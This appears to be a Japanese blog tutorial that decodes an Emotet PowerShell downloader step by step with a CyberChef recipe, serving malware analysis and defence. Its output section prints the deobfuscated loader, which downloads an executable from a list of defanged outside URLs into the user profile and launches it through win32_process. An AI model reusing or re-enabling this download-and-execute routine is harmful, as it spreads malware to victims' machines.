CyberChef で Emotet ダウンローダを読んでみた
CyberChef のレシピと変換結果
検証用に使用した Emotet ダウンローダ
SHA256: 970DF6100D8375AF169BB259DF2C7BB1AD641294E34ED57DC3AD02A38371B4C7
https://app.any.run/tasks/09f54bc7-efd2-4da7-a2cb-5f0d535c44d5/app.any.run
-
CyberChef レシピ
CHEF FORMATRegular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches') Defang_URL(true,true,true,'Only full URLs') Syntax_highlighter('powershell')
COMPACT JSON[{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Decode text","args":["UTF-16LE (1200)"]},{"op":"CSS Beautify","args":[" "]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"`"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'+'"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'http"},"\\n'http",true,false,true,false]},{"op":"Fork","args":["\\n","\\n",false]},{"op":"Conditional Jump","args":["http",false,"http",1]},{"op":"To Lower case","args":[]},{"op":"Label","args":["http"]},{"op":"Merge","args":[]},{"op":"Register","args":["(\\.[\"'][Ss][Pp][Ll][Ii][Tt][\"'])",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},".\"split\"",true,false,true,false]},{"op":"Register","args":["((?<=\\+\\$).*(?=\\+))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R1"},"file_name",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=\\$env))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R2"},"file_path",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=.\\(.new-object))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R3"},"net_webclient",true,false,true,false]},{"op":"Register","args":["((?<=in \\$).*(?=\\)))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R4"},"url_list",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?= in))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R5"},"url",true,false,true,false]},{"op":"Regular expression","args":["User defined","^(?=.*(file|net|url|http|break|{|})).*$",true,true,false,false,false,false,"List matches"]},{"op":"Defang URL","args":[true,true,true,"Only full URLs"]},{"op":"Syntax highlighter","args":["powershell"]}]
デコード・整形後のスクリプト結果
この検体以外にも60検体ほど試してみましたが、すべて同じように変換できました。
-
変換後のスクリプト
以下のように、かなり読みやすくなりました。$file_name = '209'; $file_path=$env:userprofile+'\'+$file_name+'.exe'; $net_webclient=.('new-object') net.webclient; $url_list= 'hxxp[://]bolehprediksi[.]com/wp-includes/ifrEFSqSw /*hxxp[://]www[.]designindia[.]live/js/ycCKqHl /*hxxp[://]www[.]hair2mpress[.]com/oeiwosk36j3ss/wtuds/vedMDhc /*hxxp[://]www[.]worldnoticiasonline[.]com/wp-content/uploads/vvhaa000vj-mq98v-19988518 /*hxxps[://]9jabliss[.]com/oirxio/nwkddr/'."split"([char]42); foreach($url in $url_list){ try{ $net_webclient."downloadfile"($url, $file_path); if ((.('get-item') $file_path)."length" -ge 33624) { ([wmiclass]'win32_process')."create"($file_path); break; } } catch{ } }
解説
ANY.RUN から PowerShell スクリプトを取ってくる
- 右端にある PROCESS から
PoWERsheLL.exe -e ~
をクリックする。 - クリックして出てきた PROCESS DETAILS の More Info をクリックする。
- Command Line に実際に使用されたスクリプトが書かれている。
- コピーして CyberChef に貼る。
Base64デコードする
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)')
整形して色を付ける
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Syntax_highlighter('powershell')
変換結果
ポイント
- CSS_Beautify で整形する。
- Syntax_highlighter で色を付ける。
` と '+' を削除する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Syntax_highlighter('powershell')
変換結果
ポイント
- '+' は、文字列同士を結合しているだけなので、Find/Replace で削除する。
- ` は、エスケープ文字なので、Find/Replace で削除する。
URL以外の文字列を小文字に変換する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Syntax_highlighter('powershell')
変換結果
- ポイント
変数名を分かりやすくする
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Syntax_highlighter('powershell')
変換結果
ポイント
- Register で該当する変数名をレジスタ($R1~$R5)に登録する。
- それぞれを Find/Replace で分かりやすい変数名に変換していく。
未使用な変数定義を削除する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches') Syntax_highlighter('powershell')
変換結果
ポイント
- Regular_expression で file、net、url、http、break、{、} を含む行のみを抽出する。
URLを無力化する
-
ここまでの CyberChef レシピ
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches') Defang_URL(true,true,true,'Only full URLs') Syntax_highlighter('powershell')
変換結果
ポイント
- Defang_URL で URL を無力化する